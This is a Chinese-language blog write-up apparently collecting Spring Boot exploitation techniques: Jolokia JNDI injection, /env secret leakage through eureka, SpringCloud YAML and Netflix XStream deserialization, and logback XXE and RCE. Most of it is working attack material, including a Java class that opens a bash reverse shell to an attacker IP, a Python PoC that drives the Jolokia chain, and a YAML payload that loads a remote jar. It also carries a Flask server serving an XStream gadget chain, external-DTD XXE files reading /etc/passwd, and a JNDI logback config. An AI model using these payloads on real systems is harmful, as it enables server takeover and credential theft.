Springboot漏洞利用
前言
平时遇到很多springboot框架的系统,总结一下常见的利用方式,并且记录一下复现过程中所遇到的问题。
Jolokia RCE(JNDI注入)
利用前提,查看/jolokia/list 中存在的是否存在org.apache.catalina.mbeans.MBeanFactory类提供的createJNDIRealm方法,以及java满足rmi远程加载限制的版本,看下图。
祭出神图:

默认配置的contextFactory:

访问http://ip:port/jolokia/list,查看存在createJNDIRealm:

架设rmi服务:

架设web服务,放置恶意利用类:

恶意利用类:
1 2 3 4 5 6 7 8 9
| public class Exploit_shell { static { try { java.lang.Runtime.getRuntime().exec(new String[]{"bash","-c","bash -i >& /dev/tcp/172.20.10.3/9999 0>&1"}); } catch (Exception e) { } } }
|
利用poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| import requests as req import sys from pprint import pprint
url = sys.argv[1] + "/jolokia/" pprint(url)
create_JNDIrealm = { "mbean": "Tomcat:type=MBeanFactory", "type": "EXEC", "operation": "createJNDIRealm", "arguments": ["Tomcat:type=Engine"] }
set_contextFactory = { "mbean": "Tomcat:realmPath=/realm0,type=Realm", "type": "WRITE", "attribute": "contextFactory", "value": "com.sun.jndi.rmi.registry.RegistryContextFactory" }
set_connectionURL = { "mbean": "Tomcat:realmPath=/realm0,type=Realm", "type": "WRITE", "attribute": "connectionURL", "value": "rmi://172.20.10.3:1099/Exploit_shell" }
stop_JNDIrealm = { "mbean": "Tomcat:realmPath=/realm0,type=Realm", "type": "EXEC", "operation": "stop", "arguments": [] }
start = { "mbean": "Tomcat:realmPath=/realm0,type=Realm", "type": "EXEC", "operation": "start", "arguments": [] } expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start] for i in expoloit: rep = req.post(url, json=i) pprint(rep.json())
|
执行后,加载远程恶意类,成功反弹shell:

小思考
实际环境下,我遇到java版本是不满足rmi的利用的,然后想试一下ldap加载利用类,修改了py脚本的set_contextFactory(这个其实不需要修改,因为我在调试的过程中发现默认是使用的ldap的com.sun.jndi.ldap.LdapCtxFactory,只有使用rmi的时候才需要修改为rmi的factory类),以及加载的url为ldap协议,发现是不可行的。经过我的调试分析,该处利用的是rmi的initialdircontext(env)方法中存在jndi注入,正常情况下initialdircontext(env)的env是不可控的,但是这里可以直接通过提供的方法直接修改env的值,并且rmi在初始化过程直接调用了lookup(),刚好触发jndi注入。


对比了ldap和rmi的factory类,实际ldap是不会在initialdircontext(env)方法中触发jndi注入的,所以这里是用不了ldap协议,只能使用rmi协议。(这里只是我自己调试得出来的结果,并不是完全正确的,因为对springboot并不是很熟悉,可能其他大佬已经研究新的利用)

env 获取敏感信息
默认情况下利用该漏洞可以获取带*的敏感信息,利用前提是需要系统的依赖中包含有eureka-client。
查看/env中想要获取的敏感信息,比如这里的数据库密码:

设置eureka.client的服务中心地址为http://${变量名}@ip/

发送refresh包,有请求传入,获取到的信息用base64解码即可。


SpringCloud env yaml利用
利用前提Springboot使用SpringCloud相关组件,会存在spring.cloud.bootstrap.location属性,通过修改 spring.cloud.bootstrap.location 环境变量实现 RCE
yaml文件远程加载恶意利用jar包:
1 2 3 4 5
| !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://127.0.0.1:8888/yaml.jar"] ]] ]
|

可以使用命令进行快速编译打包:
1 2
| javac src/artsploit/AwesomeScriptEngineFactory.java jar -cvf yaml-payload.jar -C src/ .
|

将恶意代码编译后打包成jar包,部署在web服务器上:


设置spring.cloud.bootstrap.location为yaml文件所在的vps。

发送刷新包,弹出计算器(如需反弹或执行命令可以修改利用类的代码)

Springcloud-Netflix xstream反序列化
利用前提,服务器使用Eureka-Client,即有加载spring-cloud-starter-netflix-eureka-client依赖。
创建一个服务,将xstream格式的内容返回给请求者,这里可以使用python的flask框架快速搭建(python要先pip安装flask模块):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| from flask import Flask, Response
app = Flask(__name__) @app.route('/', defaults={'path': ''}) @app.route('/<path:path>', methods = ['GET', 'POST']) def catch_all(path): xml = """<linked-hash-set> <jdk.nashorn.internal.objects.NativeString> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>open</string> <string>/System/Applications/Calculator.app</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next>foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> </is> </dataSource> </dataHandler> </value> </jdk.nashorn.internal.objects.NativeString> </linked-hash-set>""" return Response(xml, mimetype='application/xml')
if __name__ == '__main__': app.run(host='0.0.0.0', port=9000, debug=True)
|

发送请求设置服务地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| POST /env HTTP/1.1 Host: 192.168.0.101:8090 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 70
eureka.client.serviceUrl.defaultZone=http://192.168.0.101:9000/xstream
|
刷新:

弹出计算器:

注:在复现过程中,直接在标签中加上命令和参数发现无法执行,原来需要使用两个string标签拼接。该poc与Struts2-052的利用链基本一样,但是不是使用
Jolokia XXE(Logback)
利用前提,查看jolokia/list中存在的 Mbeans,是否存在logback 库提供的reloadByURL方法

logback.xml:
1 2 3
| <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://172.20.10.3:8090/fileread.dtd">%remote;%int;]> <a>&trick;</a>
|
fileread.dtd:
1 2
| <!ENTITY % d SYSTEM "file:///etc/passwd"> <!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">
|
访问链接加载xml:
1
| http://172.20.10.3:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/172.20.10.3!/logback.xml
|
将dtd和xml放置在同一服务器:

成功读取文件内容:

小提示
在java中可以使用netdoc协议读取文件,并且该漏洞可以列目录读取文件名为目录即可。注:读取文件内容包含<,&等特殊字符时,会报错,可采取CDATA标签拼接,参考最后的文章(本地测试无法实现,原因未知)。
Jolokia RCE(Logback)
利用前提与xxe类似。
访问链接:
1
| http://127.0.0.1:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/172.20.10.3:8090/!/logback_rce.xml
|
logback_rce.xml:
1 2 3
| <configuration> <insertFromJNDI env-entry-name="rmi://172.20.10.3:1099/Exploit_shell" as="appName" /> </configuration>
|
Exploit_shell.java:
1 2 3 4 5 6 7 8 9
| public class Exploit_shell { static { try { java.lang.Runtime.getRuntime().exec(new String[]{"bash","-c","bash -i >& /dev/tcp/172.20.10.3/9999 0>&1"}); } catch (Exception e) { } } }
|
web服务:

rmi服务:

反弹shell:

参考链接:
https://xz.aliyun.com/t/7811
https://www.anquanke.com/post/id/173265
https://www.anquanke.com/post/id/204314
https://xz.aliyun.com/t/3357